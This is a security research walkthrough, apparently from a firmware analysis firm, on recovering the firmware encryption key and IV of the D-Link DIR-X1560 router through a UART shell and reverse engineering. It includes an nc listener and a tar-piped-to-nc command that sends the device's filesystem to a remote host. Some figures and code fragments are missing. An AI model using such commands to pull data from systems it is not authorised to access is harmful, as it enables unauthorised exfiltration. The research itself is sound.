One of the most common hurdles we come up against when analyzing firmware images is encryption. While there are some resources out there on generic approaches to decrypting firmware images, today we’ll do a short walkthrough on how we extracted an encryption key for a subset of D-Link routers – in particular the D-Link DIR-X1560. This device is part of the same router generation as D-Link DIR-X5460, which was featured in a recent Wi-Fi router security check conducted jointly by Chip – a popular German technology magazine – and IoT Inspector.
D-Link Router Firmware Encryption
D-Link tends to encrypt the firmware images for its routers, with a custom firmware update file format. Many D-Link routers in the DIR range use a firmware update file format with the
00000000 53 48 52 53 01 13 91 5D 01 13 91 60 67 C6 69 73 SHRS‘]‘`gÆis
This firmware format and encryption scheme has already been publicly documented. A researcher named 0xricksanchez published a very nice writeup documenting finding the key for SHRS firmware images (including the DIR-3060, which we recently published an advisory for). They extracted the encryption key and IV from the
imgdecrypt binary, which they gain access to by a UART shell on a model in a similar series.
However, we recently came across a router in the DIR-X range, the firmware for which has a slightly different header:
00000000 65 6e 63 72 70 74 65 64 5f 69 6d 67 02 0a 00 14 |encrpted_img....|
The header is just the string
encrpted_img, then a 32-bit big-endian field containing the size of the image.
The keys for the
SHRS firmware images don’t work for these
encrpted_img images. So, we needed to find a different way to extract the decryption keys from one of the devices that uses this
encrpted_img firmware format.
Where’s the key?
Obviously, we are unable to extract the encryption key from the encrypted firmware image because it’s encrypted. So, we need to find another way get our hands on the key.
If we are able to execute code on the device somehow, then it’s simple enough. Given sufficient local privileges, we can access everything that’s on the device while it’s running. This is the firmware image after it’s been decrypted.
If the device manufacturer has only recently introduced firmware encryption, then it may be possible to track down an older firmware image that hasn’t been encrypted yet (most likely the firmware version immediately before encryption is introduced) and check if the key can be extracted from there.
Another technique we can resort to is to directly read the device’s physical flash memory. On flash, the firmware is very unlikely to be encrypted. We would take one of the devices apart, de-solder the flash memory, dump this, and read out the filesystem. However, this is quite destructive (plus wasteful and expensive!).
We won’t dig too deep into the options here, as many others have gone into great depth on this issue. One of the more comprehensive writeups on this matter is a post by the Zero Day Initiative. Check this out if you’re interested in strategies you might consider when trying to figure out firmware encryption.
In our case, it was relatively easy to get shell access to a DIR-X1560 via the physical UART debug interface. Once we had an interactive shell on the DIR- X1560, we could easily dump the whole filesystem. One very easy way to do this with the in-built
busybox tar and
nc commands. First set up a listener on your own box:
nc –nvlp [PORT] > filesystem.tar.gz
Then run the following on the device, just passing all the root folders that you want to exfiltrate:
tar -cvz /bin/ /data/ /etc/ /etc_ro/ /lib/ /libexec/ /mnt/ /opt/ /sbin/ /usr/ /var/ /webs/ | nc [IP ADDRESS] [PORT]
You’ll end up with a nice tar.gz’d image of whatever parts of the filesystem you want, sent over the network.
Finding the Decryption Routine
Unlike in the “SHRS” firmware images, there’s no obvious
imgdecrypt binary to focus on. Therefore, we can start following the trail from the firmware upload process and see if we can track down exactly where the decryption takes place.
Luckily, the firmware header string can be used as a nice unique “egg” to hunt for in the system:
$ grep -r encrpted_img Binary file bin/fota matches Binary file bin/httpd matches Binary file bin/prog.cgi matches
Here we find
fota – two binaries which probably handle these encrypted firmware images in some way or another.
prog.cgi, we can quite easily track down the firmware upload routine, based on where we find the
By following the variable, which is a pointer to the encrypted portion of the firmware image, we see that this function
FUN00033144 is called, with the pointer as its first argument:
Within this function, one very likely candidate for a firmware decryption function emerges:
Jumping into the Library
gj_decode() is defined in
libcmd_util.so. It’s a really small function, but critically it calls two functions with encryption-related names:
aes_cbc_decrypt. These are also defined within the same
libcmd_util.so library, but we don’t necessarily need to get too deep into them. The function names give us enough information to go off – we’re very likely looking at AES encryption in CBC mode.
We can also quite quickly see that the 2nd argument passed to
aes_set_key() is probably the AES key, and the 2nd argument passed to
aes_cbc_decrypt is probably the IV.
The decompilation here is a bit messy, but it’s relatively straightforward to see what’s going on, if you don’t obsess over the details too much. There are two loops, which copy data from global variables to local buffers. These loops iterate over the bytes at these global addresses until they reach some defined end address.
The local pointers to these buffers are at
key_loc + 4. In the first loop, the buffer at
00031ba3 is copied to
key_loc+4 until it reaches
00031bc3. In the second, the buffer at
00031bc5 is copied to the address at
key_loc, until it reached the byte at
00031ba3, we can see that there is an array of bytes:
A very similar pattern can be seen at
As such, we can probably guess that the AES key itself is at
00031ba3, and the IV is at
We’re not publishing the actual keys here today. But those who pay attention and follow along would likely be very capable of extracting these keys themselves. It is, as they say, left as an exercise for the interested reader.
Saving Time and Brainpower
Just copy/pasting the first 0x1000 or so bytes from an encryption firmware image as ASCII HEX into the CyberChef Input field and using the “AES Decrypt” operation in CyberChef with our extracted key and IV, we get a very promising result.
We can see the top of an UBI erase block here. Which means we’re well on the way to fully decrypting the entire firmware update package.
Once we know that the key and IV work, it’s relatively quick and easy to write up a full decryption script. In this case, there were another couple of small alignment hurdles to overcome before we had a fully-coherent image we could unpack – but these were easy enough to solve.
In many cases, Firmware encryption in embedded devices is not a massively difficult issue to solve. Once you have the physical device to hand, the process can be hugely simplified. It’s worth remembering that firmware encryption for embedded devices is implemented mainly in firmware update packages, and encryption is only rarely implemented at the storage level (as opposed to state-of-the-art practices for mobile phones and notebooks, where full-disk (or at least the-important-part-of-the-disk) encryption is common practice).
This kind of setup is likely to change in the future, at least partially. For instance, Android has been moving towards supporting full-disk encryption since 4.4 and, since 7.0, supports file-based encryption. Since Android 10, file-based encryption is required. It should be noted, however, that the term “full-disk” encryption is misleading in Android – it’s only the
data/userdata partition that is encrypted.